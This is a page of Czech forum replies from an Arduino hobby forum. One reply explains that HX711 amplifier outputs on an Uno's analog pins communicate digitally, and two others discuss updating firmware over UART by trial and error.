    odpověď na: Wemos D1 – analogové vstupy #11226
    RomanB
    Účastník

    Výstupy z HX711 sice jdou na piny UNA A0 A1, ale komunikace je binární. V kódu nikde nenalezneš funkci AnalogRead()…

    odpověď na: aktualizování firmwaru přes uart #11225
    Vojtěch Vosáhlo
    Účastník

    Nic extra, prostě jen metoda pokus omyl. Vím že při malých datech to fungovalo ale když bylo dat víc, nevzalo arduino vše, tak jsem tipnul a vyšlo to ?

    odpověď na: aktualizování firmwaru přes uart #11224
    michal123
    Účastník

    Děkuji brzy ozkouším, jak jste na to přišel?

Aktuálně je na stránce zobrazeno 30 příspěvků - 331. až 360. (celkem z 2,779)